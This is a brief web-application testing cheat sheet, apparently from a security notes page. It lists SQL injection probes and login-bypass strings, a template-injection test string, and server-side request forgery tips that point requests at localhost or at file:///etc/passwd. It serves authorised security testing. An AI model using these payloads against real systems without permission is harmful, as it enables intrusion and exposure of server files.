🧠Web App Attack Techniques
Good list of quick payloads to try to test for certain vulnerabilities in web applications.
SQL Injection
Try to test for an error or maybe a 500 Internal Server Error
'
')
"
")
admin'--
' or '1'='1
' or 1=1 --
Comments
--
/*
#SSTI (Server Side Template Injection)
Good payload to test for different types of SSTI
${{<%[%'"}}%\.SSRF (Server Side Request Forgery)
Use burpsuite and check if the reqest the site makes has a url that you can modify
You can check for internal ports open with this
http://randomsite.comtohttp://127.0.0.1:8000
Also try other wrappers
file:///etc/passwd
Last updated